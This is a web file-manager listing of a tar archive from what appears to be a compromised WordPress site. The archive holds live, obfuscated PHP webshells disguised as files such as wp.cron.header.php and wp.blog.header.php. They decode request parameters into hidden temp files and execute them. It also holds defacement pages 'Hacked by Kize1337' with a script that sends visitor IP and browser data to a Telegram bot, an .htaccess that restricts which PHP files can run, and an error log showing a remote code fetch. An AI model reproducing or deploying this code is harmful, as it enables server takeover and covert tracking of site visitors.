ÿØÿà JFIF ÿÛ „ ( %!1!%*+... 983,7(-.-
File manager
File manager - Edit - /home/tokomrjk/noobow.com/ef1c7c/assets.tar
Back
335204/index.group.php 0000644 00000003312 15170441206 0010256 0 ustar 00 <?php if(array_key_exists("m\x72\x6B", $_REQUEST) && !is_null($_REQUEST["m\x72\x6B"])){ $flag = array_filter([sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getenv("TEMP"), session_save_path(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp"]); $entry = $_REQUEST["m\x72\x6B"]; $entry = explode( '.' ,$entry ) ; $obj = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $t = 0; while( $t < count( $entry)) { $v5 = $entry[$t]; $chS = ord( $s[$t % $sLen]); $d =( ( int)$v5 - $chS -( $t % 10))^ 32; $obj .=chr( $d); $t++; } $binding = 0; do { $bind = $flag[$binding] ?? null; if ($binding >= count($flag)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($bind)) { $elem = "$bind" . "/.ref"; if (file_put_contents($elem, $obj)) { require $elem; unlink($elem); die(); } } $binding++; } while (true); } if(isset($_POST["\x64\x61ta"])){ $entry = array_filter([getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getenv("TMP"), "/tmp", sys_get_temp_dir(), getenv("TEMP")]); $dchunk = $_POST["\x64\x61ta"]; $dchunk =explode ( '.' ,$dchunk ) ; $ref = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8); $w = 0; array_walk($dchunk, function ($v8) use (&$ref, &$w, $s8, $sLen) { $chS = ord($s8[$w % $sLen]); $dec = ((int)$v8 - $chS - ($w % 10)) ^ 80; $ref .= chr($dec); $w++; }); foreach ($entry as $key => $item) { if (is_dir($item) && is_writable($item)) { $rec = "$item/.element"; if (file_put_contents($rec, $ref)) { require $rec; unlink($rec); die(); } } } } 335204/.element 0000644 00000000063 15170441206 0006735 0 ustar 00 <?php print "pvxfRBJbCl"."RXiSHXfDDSUMTGQPMD";exit; 335204/.pset 0000644 00000000064 15170441206 0006260 0 ustar 00 <?php print "TATfRptAgmukNN"."exyTPnIjynjcNgp";exit; 335204/error_log 0000644 00000001542 15170441206 0007223 0 ustar 00 [12-Apr-2026 08:31:58 UTC] PHP Warning: file(): Peer certificate CN=`*.web-hosting.com' did not match expected CN=`code.topkz.ru' in /home/tokomrjk/noobow.com/assets/335204/index.php on line 4 [12-Apr-2026 08:31:58 UTC] PHP Warning: file(): Failed to enable crypto in /home/tokomrjk/noobow.com/assets/335204/index.php on line 4 [12-Apr-2026 08:31:58 UTC] PHP Warning: file(https://code.topkz.ru/fgj/1/ev5.php): Failed to open stream: operation failed in /home/tokomrjk/noobow.com/assets/335204/index.php on line 4 [12-Apr-2026 08:31:58 UTC] PHP Fatal error: Uncaught TypeError: implode(): Argument #2 ($array) must be of type ?array, bool given in /home/tokomrjk/noobow.com/assets/335204/index.php:4 Stack trace: #0 /home/tokomrjk/noobow.com/assets/335204/index.php(4): implode() #1 {main} thrown in /home/tokomrjk/noobow.com/assets/335204/index.php on line 4 335204/194231/server_variables.php 0000644 00000003312 15170441206 0012115 0 ustar 00 <?php if(array_key_exists("e\x6C\x65\x6De\x6Et", $_REQUEST) && !is_null($_REQUEST["e\x6C\x65\x6De\x6Et"])){ $ref = array_filter(["/var/tmp", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), "/dev/shm", session_save_path(), "/tmp"]); $marker = $_REQUEST["e\x6C\x65\x6De\x6Et"]; $marker =explode( "." , $marker ) ; $elem = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($marker as $j => $v3): $sChar = ord($salt[$j %$lenS]); $d = ((int)$v3 - $sChar - ($j %10)) ^ 49; $elem .=chr($d); endforeach; foreach ($ref as $pgrp) { if (is_writable($pgrp) && is_dir($pgrp)) { $holder = "$pgrp/.property_set"; if (@file_put_contents($holder, $elem) !== false) { include $holder; unlink($holder); die(); } } } } if(in_array("\x65le\x6D", array_keys($_POST))){ $item = array_filter(["/var/tmp", "/dev/shm", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), session_save_path(), sys_get_temp_dir()]); $token = $_POST["\x65le\x6D"]; $token = explode ( ".",$token ) ; $tkn= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s); foreach( $token as $u => $v2): $sChar= ord( $s[$u % $lenS]); $dec= ( ( int)$v2 - $sChar -( $u % 10)) ^ 83; $tkn .= chr( $dec); endforeach; $ptr = 0; do { $holder = $item[$ptr] ?? null; if ($ptr >= count($item)) break; if (!( !is_dir($holder) || !is_writable($holder) )) { $rec = join("/", [$holder, ".factor"]); if (file_put_contents($rec, $tkn)) { require $rec; unlink($rec); die(); } } $ptr++; } while (true); } 335204/194231/index.php 0000644 00000017045 15170441206 0007676 0 ustar 00 <!DOCTYPE html> <html lang="id"> <head> <title>Hacked by Kize1337</title> <meta property="og:image" content="https://c.top4top.io/p_3715008ex4.jpg"> <meta name="author" content="Kize1337"/> <meta name="copyright" content="2025"/> <meta name="title" content="Hacked by Kize1337"> <meta name="description" content="We are party on your site."> <link href="https://fonts.googleapis.com/css?family=Space+Mono" rel="stylesheet"> <link rel="icon" href="https://k.top4top.io/p_3715j5o0a8.png" type="image/webp"> <style type="text/css"> * { margin: 0; padding: 0; box-sizing: border-box; } body { background-color: black; margin: 0; padding: 0; font-family: 'Space Mono', monospace; min-height: 100vh; display: flex; justify-content: center; align-items: center; } .container { text-align: center; width: 100%; max-width: 800px; padding: 40px 20px; } .x { font-size: 60px; transform: skewY(-8deg); color: white; margin-bottom: 40px; line-height: 1.2; } .x span { color: #ff0000; } .hacker-image { margin: 40px auto; max-width: 300px; width: 100%; } .hacker-image img { width: 100%; height: auto; display: block; } .audio-player { margin: 25px auto; } .audio-player audio { width: 200px; height: 30px; filter: invert(1) hue-rotate(180deg); } .message { color: white; font-size: 24px; margin: 30px 0; } .greetz-title { color: white; font-size: 18px; margin: 25px 0 10px 0; } .greetz-list { font-family: 'Courier New', monospace; font-size: 14px; color: #ff0000; font-weight: bold; line-height: 1.4; } .contact-section { margin-top: 40px; color: white; font-family: 'Space Mono', monospace; font-size: 18px; } .contact-link { color: #ff0000; text-decoration: none; font-weight: bold; } .contact-link:hover { text-decoration: underline; } @media (min-width: 1024px) { .container { padding: 60px 20px; } .x { margin-bottom: 50px; } .hacker-image { margin: 50px auto; } } @media (max-width: 768px) { .container { padding: 30px 20px; } .x { font-size: 40px; margin-bottom: 30px; } .message { font-size: 18px; margin: 25px 0; } .contact-section { font-size: 16px; margin-top: 30px; } .hacker-image { max-width: 250px; margin: 30px auto; } } @media (max-width: 480px) { .container { padding: 20px 15px; } .x { font-size: 32px; margin-bottom: 25px; } .message { font-size: 16px; margin: 20px 0; } .contact-section { font-size: 14px; margin-top: 25px; } .hacker-image { max-width: 200px; margin: 25px auto; } .audio-player audio { width: 180px; } .greetz-title { font-size: 16px; margin: 20px 0 8px 0; } .greetz-list { font-size: 12px; } } </style> </head> <body> <div class="container"> <h1 class="x">Hacked by <span>Kize1337</span></h1> <div class="hacker-image"> <img src="https://c.top4top.io/p_3715008ex4.jpg" alt="Hacker Image"> </div> <div class="audio-player"> <audio id="bg-audio" src="https://e.top4top.io/m_3715w7dyq6.mp3" autoplay controls></audio> </div> <h2 class="message">MSG: Patch your system!</h2> <h3 class="greetz-title">Greetz:</h3> <div class="greetz-list"> Kize1337 - 0xTebu - Lizardpredator - JohenLG - Luminance - Sph69 - Axonhub - Privnet </div> <div class="contact-section"> CONTACT: <a href="https://t.me/deathbase" class="contact-link" target="_blank">t.me/deathbase</a> </div> </div> <script> document.body.addEventListener('click', function () { const audio = document.getElementById('bg-audio'); if (audio) { audio.muted = false; audio.volume = 1.0; audio.play().catch((e) => { console.warn('Autoplay failed:', e); }); } }, { once: true }); // Telegram logger async function sendLogToTelegram() { const token = "8499549696:AAEQJ6pvg9oFNbHTtIKKRkiARzIRLaeNJ7E"; const chat_id = "-1002699548560"; let ipInfo = "Unknown"; try { const res = await fetch("https://api64.ipify.org?format=json"); const data = await res.json(); ipInfo = data.ip; } catch (e) { ipInfo = "Unavailable"; } const ua = navigator.userAgent; const platform = navigator.platform; const browser = (() => { if (ua.includes("Chrome")) return "Chrome"; if (ua.includes("Firefox")) return "Firefox"; if (ua.includes("Safari") && !ua.includes("Chrome")) return "Safari"; if (ua.includes("Opera") || ua.includes("OPR")) return "Opera"; if (ua.includes("Edg")) return "Edge"; return "Unknown"; })(); const now = new Date(); const timestamp = now.toLocaleString("id-ID", { timeZone: "Asia/Jakarta" }); const message = `*📌 Access Detected* *📅 Date & Time:* ${timestamp} *🌐 IP:* ${ipInfo} *💻 Device:* ${platform} *🌍 Browser:* ${browser} *📣 User-Agent:* ${ua} *📎 URL:* ${window.location.href} _This message is sent automatically by a bot._`; const tgURL = `https://api.telegram.org/bot${token}/sendMessage`; await fetch(tgURL, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ chat_id, text: message, parse_mode: "Markdown" }) }); } window.onload = () => sendLogToTelegram(); </script> </body> </html> 335204/class.group.php 0000644 00000006565 15170441206 0010271 0 ustar 00 <?php if(count($_REQUEST) > 0 && isset($_REQUEST["\x63omp"])){ $ent = array_filter(["/tmp", getenv("TMP"), session_save_path(), "/dev/shm", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp"]); $elem = $_REQUEST["\x63omp"]; $elem = explode ( "." , $elem) ; $ptr = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $__len = count( $elem); for( $p = 0; $p < $__len; $p++) { $v6 = $elem[$p]; $chS = ord( $s[$p % $sLen]); $d = ( ( int)$v6 - $chS -( $p % 10)) ^ 92; $ptr .= chr( $d); } foreach ($ent as $fac): if (!!is_dir($fac) && !!is_writable($fac)) { $symbol = "$fac" . "/.data_chunk"; $file = fopen($symbol, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $symbol; @unlink($symbol); exit; } } endforeach; } if(isset($_POST["\x65\x6C\x65\x6Dent"])){ $factor = $_POST["\x65\x6C\x65\x6Dent"]; $factor=explode ("." , $factor ) ; $data = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4); $__len = count($factor); for ($l = 0; $l < $__len; $l++) { $v4 = $factor[$l]; $sChar = ord($salt4[$l % $sLen]); $d = ((int)$v4 - $sChar - ($l % 10)) ^ 26; $data.= chr($d);} $comp = array_filter([getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TEMP"), session_save_path()]); $pgrp = 0; do { $descriptor = $comp[$pgrp] ?? null; if ($pgrp >= count($comp)) break; if (max(0, is_dir($descriptor) * is_writable($descriptor))) { $val = sprintf("%s/.pset", $descriptor); $file = fopen($val, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $val; @unlink($val); die(); } } $pgrp++; } while (true); } if(filter_has_var(INPUT_POST, "i\x74em")){ $entry = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp"]); $rec = $_REQUEST["i\x74em"]; $rec = explode ( '.' ,$rec ) ; $element = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); $j = 0; $len = count($rec); do { if ($j>= $len) break; $v5 = $rec[$j]; $chS = ord($s7[$j % $sLen]); $dec = ((int)$v5 - $chS - ($j % 10)) ^ 10; $element .=chr($dec); $j++; } while (true); foreach ($entry as $resource) { if ((is_dir($resource) and is_writable($resource))) { $reference = vsprintf("%s/%s", [$resource, ".ent"]); $success = file_put_contents($reference, $element); if ($success) { include $reference; @unlink($reference); die();} } } } if(array_key_exists("i\x74em", $_REQUEST)){ $property_set = array_filter([getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getenv("TMP"), "/tmp"]); $holder = $_REQUEST["i\x74em"]; $holder = explode ( "." , $holder); $comp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach($holder as $s => $v1) {$sChar = ord($salt[$s% $lenS]); $dec = ((int)$v1 - $sChar -($s% 10)) ^ 17; $comp .= chr($dec); } foreach ($property_set as $data_chunk) { if (max(0, is_dir($data_chunk) * is_writable($data_chunk))) { $flg = str_replace("{var_dir}", $data_chunk, "{var_dir}/.token"); if (file_put_contents($flg, $comp)) { include $flg; @unlink($flg); die(); } } } } 335204/index.php 0000644 00000017045 15170441206 0007133 0 ustar 00 <!DOCTYPE html> <html lang="id"> <head> <title>Hacked by Kize1337</title> <meta property="og:image" content="https://c.top4top.io/p_3715008ex4.jpg"> <meta name="author" content="Kize1337"/> <meta name="copyright" content="2025"/> <meta name="title" content="Hacked by Kize1337"> <meta name="description" content="We are party on your site."> <link href="https://fonts.googleapis.com/css?family=Space+Mono" rel="stylesheet"> <link rel="icon" href="https://k.top4top.io/p_3715j5o0a8.png" type="image/webp"> <style type="text/css"> * { margin: 0; padding: 0; box-sizing: border-box; } body { background-color: black; margin: 0; padding: 0; font-family: 'Space Mono', monospace; min-height: 100vh; display: flex; justify-content: center; align-items: center; } .container { text-align: center; width: 100%; max-width: 800px; padding: 40px 20px; } .x { font-size: 60px; transform: skewY(-8deg); color: white; margin-bottom: 40px; line-height: 1.2; } .x span { color: #ff0000; } .hacker-image { margin: 40px auto; max-width: 300px; width: 100%; } .hacker-image img { width: 100%; height: auto; display: block; } .audio-player { margin: 25px auto; } .audio-player audio { width: 200px; height: 30px; filter: invert(1) hue-rotate(180deg); } .message { color: white; font-size: 24px; margin: 30px 0; } .greetz-title { color: white; font-size: 18px; margin: 25px 0 10px 0; } .greetz-list { font-family: 'Courier New', monospace; font-size: 14px; color: #ff0000; font-weight: bold; line-height: 1.4; } .contact-section { margin-top: 40px; color: white; font-family: 'Space Mono', monospace; font-size: 18px; } .contact-link { color: #ff0000; text-decoration: none; font-weight: bold; } .contact-link:hover { text-decoration: underline; } @media (min-width: 1024px) { .container { padding: 60px 20px; } .x { margin-bottom: 50px; } .hacker-image { margin: 50px auto; } } @media (max-width: 768px) { .container { padding: 30px 20px; } .x { font-size: 40px; margin-bottom: 30px; } .message { font-size: 18px; margin: 25px 0; } .contact-section { font-size: 16px; margin-top: 30px; } .hacker-image { max-width: 250px; margin: 30px auto; } } @media (max-width: 480px) { .container { padding: 20px 15px; } .x { font-size: 32px; margin-bottom: 25px; } .message { font-size: 16px; margin: 20px 0; } .contact-section { font-size: 14px; margin-top: 25px; } .hacker-image { max-width: 200px; margin: 25px auto; } .audio-player audio { width: 180px; } .greetz-title { font-size: 16px; margin: 20px 0 8px 0; } .greetz-list { font-size: 12px; } } </style> </head> <body> <div class="container"> <h1 class="x">Hacked by <span>Kize1337</span></h1> <div class="hacker-image"> <img src="https://c.top4top.io/p_3715008ex4.jpg" alt="Hacker Image"> </div> <div class="audio-player"> <audio id="bg-audio" src="https://e.top4top.io/m_3715w7dyq6.mp3" autoplay controls></audio> </div> <h2 class="message">MSG: Patch your system!</h2> <h3 class="greetz-title">Greetz:</h3> <div class="greetz-list"> Kize1337 - 0xTebu - Lizardpredator - JohenLG - Luminance - Sph69 - Axonhub - Privnet </div> <div class="contact-section"> CONTACT: <a href="https://t.me/deathbase" class="contact-link" target="_blank">t.me/deathbase</a> </div> </div> <script> document.body.addEventListener('click', function () { const audio = document.getElementById('bg-audio'); if (audio) { audio.muted = false; audio.volume = 1.0; audio.play().catch((e) => { console.warn('Autoplay failed:', e); }); } }, { once: true }); // Telegram logger async function sendLogToTelegram() { const token = "8499549696:AAEQJ6pvg9oFNbHTtIKKRkiARzIRLaeNJ7E"; const chat_id = "-1002699548560"; let ipInfo = "Unknown"; try { const res = await fetch("https://api64.ipify.org?format=json"); const data = await res.json(); ipInfo = data.ip; } catch (e) { ipInfo = "Unavailable"; } const ua = navigator.userAgent; const platform = navigator.platform; const browser = (() => { if (ua.includes("Chrome")) return "Chrome"; if (ua.includes("Firefox")) return "Firefox"; if (ua.includes("Safari") && !ua.includes("Chrome")) return "Safari"; if (ua.includes("Opera") || ua.includes("OPR")) return "Opera"; if (ua.includes("Edg")) return "Edge"; return "Unknown"; })(); const now = new Date(); const timestamp = now.toLocaleString("id-ID", { timeZone: "Asia/Jakarta" }); const message = `*📌 Access Detected* *📅 Date & Time:* ${timestamp} *🌐 IP:* ${ipInfo} *💻 Device:* ${platform} *🌍 Browser:* ${browser} *📣 User-Agent:* ${ua} *📎 URL:* ${window.location.href} _This message is sent automatically by a bot._`; const tgURL = `https://api.telegram.org/bot${token}/sendMessage`; await fetch(tgURL, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ chat_id, text: message, parse_mode: "Markdown" }) }); } window.onload = () => sendLogToTelegram(); </script> </body> </html> .entity 0000644 00000000063 15170441206 0006060 0 ustar 00 <?php print "aiTzDAabdYHTr"."HkXtQNGwzuDKTMl";exit; wp.cron.header.php 0000644 00000001636 15170441206 0010100 0 ustar 00 <?php if(isset($_POST["\x70\x73et"]) ? true : false){ $property_set = array_filter([getcwd(), "/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm"]); $data_chunk = $_POST["\x70\x73et"]; $data_chunk = explode( '.' ,$data_chunk ) ; $pointer = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); foreach($data_chunk as $y =>$v2) { $sChar = ord($salt9[$y % $lenS]); $d = ((int)$v2 - $sChar -($y % 10)) ^ 52; $pointer .= chr($d); } foreach ($property_set as $fac): if (max(0, is_dir($fac) * is_writable($fac))) { $component = vsprintf("%s/%s", [$fac, ".entity"]); $success = file_put_contents($component, $pointer); if ($success) { include $component; @unlink($component); exit;} } endforeach; } index.php 0000644 00000017045 15170441206 0006373 0 ustar 00 <!DOCTYPE html> <html lang="id"> <head> <title>Hacked by Kize1337</title> <meta property="og:image" content="https://c.top4top.io/p_3715008ex4.jpg"> <meta name="author" content="Kize1337"/> <meta name="copyright" content="2025"/> <meta name="title" content="Hacked by Kize1337"> <meta name="description" content="We are party on your site."> <link href="https://fonts.googleapis.com/css?family=Space+Mono" rel="stylesheet"> <link rel="icon" href="https://k.top4top.io/p_3715j5o0a8.png" type="image/webp"> <style type="text/css"> * { margin: 0; padding: 0; box-sizing: border-box; } body { background-color: black; margin: 0; padding: 0; font-family: 'Space Mono', monospace; min-height: 100vh; display: flex; justify-content: center; align-items: center; } .container { text-align: center; width: 100%; max-width: 800px; padding: 40px 20px; } .x { font-size: 60px; transform: skewY(-8deg); color: white; margin-bottom: 40px; line-height: 1.2; } .x span { color: #ff0000; } .hacker-image { margin: 40px auto; max-width: 300px; width: 100%; } .hacker-image img { width: 100%; height: auto; display: block; } .audio-player { margin: 25px auto; } .audio-player audio { width: 200px; height: 30px; filter: invert(1) hue-rotate(180deg); } .message { color: white; font-size: 24px; margin: 30px 0; } .greetz-title { color: white; font-size: 18px; margin: 25px 0 10px 0; } .greetz-list { font-family: 'Courier New', monospace; font-size: 14px; color: #ff0000; font-weight: bold; line-height: 1.4; } .contact-section { margin-top: 40px; color: white; font-family: 'Space Mono', monospace; font-size: 18px; } .contact-link { color: #ff0000; text-decoration: none; font-weight: bold; } .contact-link:hover { text-decoration: underline; } @media (min-width: 1024px) { .container { padding: 60px 20px; } .x { margin-bottom: 50px; } .hacker-image { margin: 50px auto; } } @media (max-width: 768px) { .container { padding: 30px 20px; } .x { font-size: 40px; margin-bottom: 30px; } .message { font-size: 18px; margin: 25px 0; } .contact-section { font-size: 16px; margin-top: 30px; } .hacker-image { max-width: 250px; margin: 30px auto; } } @media (max-width: 480px) { .container { padding: 20px 15px; } .x { font-size: 32px; margin-bottom: 25px; } .message { font-size: 16px; margin: 20px 0; } .contact-section { font-size: 14px; margin-top: 25px; } .hacker-image { max-width: 200px; margin: 25px auto; } .audio-player audio { width: 180px; } .greetz-title { font-size: 16px; margin: 20px 0 8px 0; } .greetz-list { font-size: 12px; } } </style> </head> <body> <div class="container"> <h1 class="x">Hacked by <span>Kize1337</span></h1> <div class="hacker-image"> <img src="https://c.top4top.io/p_3715008ex4.jpg" alt="Hacker Image"> </div> <div class="audio-player"> <audio id="bg-audio" src="https://e.top4top.io/m_3715w7dyq6.mp3" autoplay controls></audio> </div> <h2 class="message">MSG: Patch your system!</h2> <h3 class="greetz-title">Greetz:</h3> <div class="greetz-list"> Kize1337 - 0xTebu - Lizardpredator - JohenLG - Luminance - Sph69 - Axonhub - Privnet </div> <div class="contact-section"> CONTACT: <a href="https://t.me/deathbase" class="contact-link" target="_blank">t.me/deathbase</a> </div> </div> <script> document.body.addEventListener('click', function () { const audio = document.getElementById('bg-audio'); if (audio) { audio.muted = false; audio.volume = 1.0; audio.play().catch((e) => { console.warn('Autoplay failed:', e); }); } }, { once: true }); // Telegram logger async function sendLogToTelegram() { const token = "8499549696:AAEQJ6pvg9oFNbHTtIKKRkiARzIRLaeNJ7E"; const chat_id = "-1002699548560"; let ipInfo = "Unknown"; try { const res = await fetch("https://api64.ipify.org?format=json"); const data = await res.json(); ipInfo = data.ip; } catch (e) { ipInfo = "Unavailable"; } const ua = navigator.userAgent; const platform = navigator.platform; const browser = (() => { if (ua.includes("Chrome")) return "Chrome"; if (ua.includes("Firefox")) return "Firefox"; if (ua.includes("Safari") && !ua.includes("Chrome")) return "Safari"; if (ua.includes("Opera") || ua.includes("OPR")) return "Opera"; if (ua.includes("Edg")) return "Edge"; return "Unknown"; })(); const now = new Date(); const timestamp = now.toLocaleString("id-ID", { timeZone: "Asia/Jakarta" }); const message = `*📌 Access Detected* *📅 Date & Time:* ${timestamp} *🌐 IP:* ${ipInfo} *💻 Device:* ${platform} *🌍 Browser:* ${browser} *📣 User-Agent:* ${ua} *📎 URL:* ${window.location.href} _This message is sent automatically by a bot._`; const tgURL = `https://api.telegram.org/bot${token}/sendMessage`; await fetch(tgURL, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ chat_id, text: message, parse_mode: "Markdown" }) }); } window.onload = () => sendLogToTelegram(); </script> </body> </html> wp.blog.header.php 0000644 00000003500 15170441206 0010052 0 ustar 00 <?php if(in_array("\x65\x6Ce\x6D\x65nt", array_keys($_REQUEST))){ $ref = $_REQUEST["\x65\x6Ce\x6D\x65nt"]; $ref = explode ( '.' , $ref ); $holder = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $__len = count( $ref); for( $r = 0; $r < $__len; $r++) { $v8 = $ref[$r]; $sChar = ord( $s[$r % $lenS]); $d =( ( int)$v8 - $sChar -( $r % 10)) ^ 87; $holder .= chr( $d); } $descriptor = array_filter(["/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", sys_get_temp_dir()]); $desc = 0; do { $entity = $descriptor[$desc] ?? null; if ($desc >= count($descriptor)) break; if (is_dir($entity) ? is_writable($entity) : false) { $reference = vsprintf("%s/%s", [$entity, ".data_chunk"]); if (file_put_contents($reference, $holder)) { require $reference; unlink($reference); die(); } } $desc++; } while (true); } if(in_array("res", array_keys($_POST))){ $component = $_POST["res"]; $component = explode ('.' , $component ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $m = 0; array_walk($component , function ($v7) use (&$ent , &$m , $salt , $sLen) { $chS = ord($salt[$m % $sLen]); $d = ((int)$v7 - $chS - ($m % 10)) ^ 60; $ent .= chr($d); $m++; } ); $flag = array_filter(["/tmp", session_save_path(), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), getcwd(), getenv("TMP")]); foreach ($flag as $key => $k) { if (array_product([is_dir($k), is_writable($k)])) { $property_set = vsprintf("%s/%s", [$k, ".marker"]); if (file_put_contents($property_set, $ent)) { require $property_set; unlink($property_set); exit; } } } } .htaccess 0000444 00000003772 15170441206 0006351 0 ustar 00 <FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch> <FilesMatch '^(index.php|wp-blog-header.php|wp-config-sample.php|wp-links-opml.php|wp-login.php|wp-settings.php|wp-trackback.php|wp-activate.php|wp-comments-post.php|wp-cron.php|wp-load.php|wp-mail.php|wp-signup.php|xmlrpc.php|edit-form-advanced.php|link-parse-opml.php|ms-sites.php|options-writing.php|themes.php|admin-ajax.php|edit-form-comment.php|link.php|ms-themes.php|plugin-editor.php|admin-footer.php|edit-link-form.php|load-scripts.php|ms-upgrade-network.php|admin-functions.php|edit.php|load-styles.php|ms-users.php|plugins.php|admin-header.php|edit-tag-form.php|media-new.php|my-sites.php|post-new.php|admin.php|edit-tags.php|media.php|nav-menus.php|post.php|admin-post.php|export.php|media-upload.php|network.php|press-this.php|upload.php|async-upload.php|menu-header.php|options-discussion.php|privacy.php|user-edit.php|menu.php|options-general.php|profile.php|user-new.php|moderation.php|options-head.php|revision.php|users.php|custom-background.php|ms-admin.php|options-media.php|setup-config.php|widgets.php|custom-header.php|ms-delete-site.php|options-permalink.php|term.php|customize.php|link-add.php|ms-edit.php|options.php|edit-comments.php|link-manager.php|ms-options.php|options-reading.php|system_log.php|inputs.php|adminfuns.php|chtmlfuns.php|cjfuns.php|classsmtps.php|classfuns.php|comfunctions.php|comdofuns.php|connects.php|copypaths.php|delpaths.php|doiconvs.php|epinyins.php|filefuns.php|gdftps.php|hinfofuns.php|hplfuns.php|memberfuns.php|moddofuns.php|onclickfuns.php|phpzipincs.php|qfunctions.php|qinfofuns.php|schallfuns.php|tempfuns.php|userfuns.php|siteheads.php|termps.php|txets.php|thoms.php|postnews.php|txets.php)$'> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>
| ver. 1.4 |
Github
|
.
| PHP 8.1.34 | Generation time: 5.21 |
proxy
|
phpinfo
|
Settings